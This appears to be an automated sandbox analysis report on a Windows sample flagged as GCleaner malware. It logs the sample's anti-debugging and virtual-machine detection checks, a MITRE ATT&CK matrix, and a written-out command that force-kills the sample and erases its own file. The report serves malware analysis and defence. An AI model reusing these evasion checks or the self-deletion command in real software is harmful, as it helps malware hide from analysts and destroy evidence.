Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\SIHClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\SIHClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\SIHClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\SIHClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\SIHClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\SIHClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\SIHClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\SIHClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\SIHClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\SIHClient.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

API coverage: 8.2 %

Source: C:\Windows\System32\SIHClient.exe TID: 2720

Thread sleep time: -60000s >= -30000s

Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\SIHClient.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\SIHClient.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\SIHClient.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\SIHClient.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: SIHClient.exe, 00000016.00000003.1826334100.0000017B20F02000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000016.00000002.2206957951.0000017B20F02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 97NT8DO3JB.exe, 00000000.00000002.1835234023.0000000001BEB000.00000004.00000020.00020000.00000000.sdmp, 97NT8DO3JB.exe, 00000000.00000002.1835234023.0000000001BF9000.00000004.00000020.00020000.00000000.sdmp, 97NT8DO3JB.exe, 00000000.00000002.1836474732.0000000004218000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000016.00000003.1826334100.0000017B20F02000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000016.00000002.2206957951.0000017B20F02000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000016.00000002.2206957951.0000017B20EB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

Code function: 0_2_0040C17B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0040C17B

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_00411192 mov eax, dword ptr fs:[00000030h]	0_2_00411192
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_0040C681 mov eax, dword ptr fs:[00000030h]	0_2_0040C681
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_01B2F103 push dword ptr fs:[00000030h]	0_2_01B2F103
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_036813F9 mov eax, dword ptr fs:[00000030h]	0_2_036813F9
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_0367092B mov eax, dword ptr fs:[00000030h]	0_2_0367092B
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_0367C8E8 mov eax, dword ptr fs:[00000030h]	0_2_0367C8E8
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_03670D90 mov eax, dword ptr fs:[00000030h]	0_2_03670D90

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

Code function: 0_2_00416A7C GetProcessHeap,

0_2_00416A7C

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_00408809 SetUnhandledExceptionFilter,	0_2_00408809
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_0040C17B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040C17B
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_00407C96 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00407C96
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_00408675 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00408675
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_0367C3E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0367C3E2
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_03678A70 SetUnhandledExceptionFilter,	0_2_03678A70
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_036788DC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_036788DC
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: 0_2_03677EFD SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_03677EFD

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "97NT8DO3JB.exe" /f & erase "C:\Users\user\Desktop\97NT8DO3JB.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "97NT8DO3JB.exe" /f

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "97NT8DO3JB.exe" /f

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

Code function: 0_2_00408873 cpuid

0_2_00408873

Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: EnumSystemLocalesW,	0_2_0041897A
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: EnumSystemLocalesW,	0_2_0041892F
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: EnumSystemLocalesW,	0_2_00418A15
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00418AA0
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: EnumSystemLocalesW,	0_2_004112A2
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetLocaleInfoW,	0_2_00418CF3
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00418E19
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetLocaleInfoW,	0_2_00418F1F
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetLocaleInfoW,	0_2_004117C4
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00418FEE
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: EnumSystemLocalesW,	0_2_03688BE1
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: EnumSystemLocalesW,	0_2_03688B96
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_03689255
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetLocaleInfoW,	0_2_03681A2B
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetLocaleInfoW,	0_2_03689186
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_03689080
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetLocaleInfoW,	0_2_03688F5A
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: EnumSystemLocalesW,	0_2_03681509
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_03688D07
Source: C:\Users\user\Desktop\97NT8DO3JB.exe	Code function: EnumSystemLocalesW,	0_2_03688C7C

Source: C:\Users\user\Desktop\97NT8DO3JB.exe

Code function: 0_2_0040CA21 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_0040CA21

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected GCleaner

Source: Yara match	File source: 0.2.97NT8DO3JB.exe.3670e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.97NT8DO3JB.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.97NT8DO3JB.exe.3670e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.97NT8DO3JB.exe.36a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.97NT8DO3JB.exe.36a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.97NT8DO3JB.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1628676156.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Remote Access Functionality

Yara detected GCleaner

Source: Yara match	File source: 0.2.97NT8DO3JB.exe.3670e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.97NT8DO3JB.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.97NT8DO3JB.exe.3670e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.97NT8DO3JB.exe.36a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.97NT8DO3JB.exe.36a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.97NT8DO3JB.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1628676156.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	51 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Virtualization/Sandbox Evasion	Security Account Manager	3 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	43 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

